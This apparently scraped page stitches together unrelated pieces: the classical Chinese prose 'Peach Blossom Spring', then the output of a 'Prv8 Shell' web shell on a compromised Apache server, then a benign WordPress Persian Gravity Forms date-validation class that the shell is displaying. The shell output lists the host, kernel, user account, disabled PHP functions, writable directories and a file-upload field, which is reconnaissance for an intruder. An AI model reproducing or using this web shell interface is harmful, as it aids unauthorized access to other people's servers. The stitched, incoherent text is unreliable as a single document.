晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/stando/www/wp-content/plugins/persian-gravity-forms/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/stando/www/wp-content/plugins/persian-gravity-forms/includes/class-jalali-date.php
<?php if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class GFPersian_JalaliDate extends GFPersian_Core {

	public function __construct() {

		if ( $this->option( 'jalali', '1' ) != '1' ) {
			return;
		}

		require_once( 'lib/jalali.php' );
		add_filter( 'gform_tooltips', array( $this, 'tooltips' ) );
		add_action( 'gform_editor_js', array( $this, 'jalali_settings' ) );
		add_action( 'gform_field_standard_settings', array( $this, 'jalali_checkbox' ), 10, 2 );
		add_action( 'gform_enqueue_scripts', array( $this, 'jalali_datepicker' ), 11, 1 );
		add_filter( 'gform_date_min_year', array( $this, 'jalali_date_min' ), 10, 3 );
		add_filter( 'gform_date_max_year', array( $this, 'jalali_date_max' ), 10, 3 );
		add_filter( 'gform_field_validation', array( $this, 'jalali_validator' ), 999999, 4 );
		add_filter( 'gform_predefined_choices', array( $this, 'jalali_predefined_choices' ), 1 );
	}

	public function tooltips( $tooltips ) {
		$tooltips['gform_activate_jalali'] = '<h6>فعالسازی تاریخ شمسی</h6>در صورتی که از چند فیلد تاریخ استفاده میکنید، فعالسازی تاریخ شمسی یکی از فیلدها کفایت میکند.<br/>تذکر : با توجه به آزمایشی بودن این قسمت ممکن است تداخل توابع سبب ناسازگاری با برخی قالب ها شود.';

		return $tooltips;
	}

	public function jalali_settings() { ?>
        <script type='text/javascript'>
            fieldSettings['date'] += ', .jalali_setting';
            jQuery(document).bind('gform_load_field_settings', function (event, field, form) {
                jQuery('#check_jalali').attr('checked', field['check_jalali'] == true);
            });
        </script>
		<?php
	}

	public function jalali_checkbox( $position, $form_id ) {
		if ( $position == 25 ) { ?>
            <li class="jalali_setting field_setting">
                <input type="checkbox" id="check_jalali"
                       onclick="SetFieldProperty('check_jalali', jQuery(this).is(':checked') ? 1 : 0);"/>
                <label class="inline gfield_value_label" for="check_jalali" class="inline">
                    فعالسازی تاریخ شمسی
					<?php gform_tooltip( "gform_activate_jalali" ) ?>
                </label>
            </li>
			<?php
		}
	}

	public function jalali_datepicker( $form ) {

		if ( ! is_admin() && ( wp_script_is( 'gform_datepicker_init' ) || wp_script_is( 'gform_datepicker_init', 'registered' ) ) ) {

			foreach ( $form['fields'] as $field ) {

				if ( $field['type'] == 'date' && rgar( $field, 'check_jalali' ) ) {

					wp_dequeue_script( 'jquery-ui-datepicker' );
					wp_deregister_script( 'jquery-ui-datepicker' );

					wp_register_script( 'jquery-ui-datepicker', GF_PERSIAN_URL . 'assets/js/jalali-datepicker.js', array(
						'jquery',
						'jquery-migrate',
						'jquery-ui-core',
						'gform_gravityforms'
					), GF_PERSIAN_VERSION, true );
					wp_enqueue_script( 'jquery-ui-datepicker' );
					break;
				}
			}
		}
	}

	public function jalali_date_min( $min_year, $form, $field ) {

		if ( rgar( $field, 'type' ) == 'date' && rgar( $field, 'check_jalali' ) ) {
			$min_year = GF_gregorian_to_jalali( $min_year, 03, 21 );
			$min_year = $min_year[0] + 1;
		}

		return apply_filters( 'gform_jalali_date_min_year', $min_year, $form, $field );
	}

	public function jalali_date_max( $max_year, $form, $field ) {

		if ( rgar( $field, 'type' ) == 'date' && rgar( $field, 'check_jalali' ) ) {
			$max_year = GF_gregorian_to_jalali( $max_year, 03, 21 );
			$max_year = $max_year[0] + 20;
		}

		return apply_filters( 'gform_jalali_date_max_year', $max_year, $form, $field );
	}

	public function jalali_validator( $result, $value, $form, $field ) {

		if ( rgar( $field, 'type' ) == 'date' && rgar( $field, 'check_jalali' ) ) {

			$format      = rgar( $field, 'dateFormat', 'mdy' );
			$formats     = array(
				'mdy'       => 'mm/dd/yyyy',
				'dmy'       => 'dd/mm/yyyy',
				'dmy_dash'  => 'dd-mm-yyyy',
				'dmy_dot'   => 'dd.mm.yyyy',
				'ymd_slash' => 'yyyy/mm/dd',
				'ymd_dash'  => 'yyyy-mm-dd',
				'ymd_dot'   => 'yyyy.mm.dd'
			);
			$format_name = ! empty( $formats[ $format ] ) ? $formats[ $format ] : '';
			$message     = $format_name && rgar( $field, 'dateType' ) == 'datepicker' ? sprintf( esc_html__( 'Please enter a valid date in the format (%s).', 'gravityforms' ), $format_name ) : esc_html__( 'Please enter a valid date.', 'gravityforms' );

			/*این شرط مشخص میکنه فقط اگر خطایی وجود نداشت و یا اگر خطا مربوط به ولیدیت تاریخ بود وارد بررسی شود*/
			if ( ! empty( $result['message'] ) && $message != $result['message'] ) {
				return $result;
			}

			if ( is_array( $value ) && rgempty( 0, $value ) && rgempty( 1, $value ) && rgempty( 2, $value ) ) {
				$value = null;
			}

			if ( ! empty( $value ) ) {
				$date  = GFCommon::parse_date( $value, $format );
				$day   = intval( rgar( $date, 'day' ) );
				$month = intval( rgar( $date, 'month' ) );
				$year  = intval( rgar( $date, 'year' ) );

				$result['is_valid'] = GF_jcheckdate( $month, $day, $year );
				if ( ! $result['is_valid'] && empty( $result['message'] ) ) {
					$result['message'] = $message;
				}
			}
		}

		return $result;
	}

	public function jalali_predefined_choices( $choices ) {

		$month['ماه های ایران'] = array(
			'فروردین',
			'اردیبهشت',
			'خرداد',
			'تیر',
			'مرداد',
			'شهریور',
			'مهر',
			'آبان',
			'آذر',
			'دی',
			'بهمن',
			'اسفند'
		);

		return array_merge( $month, $choices );
	}

}

new GFPersian_JalaliDate();

haha - 2025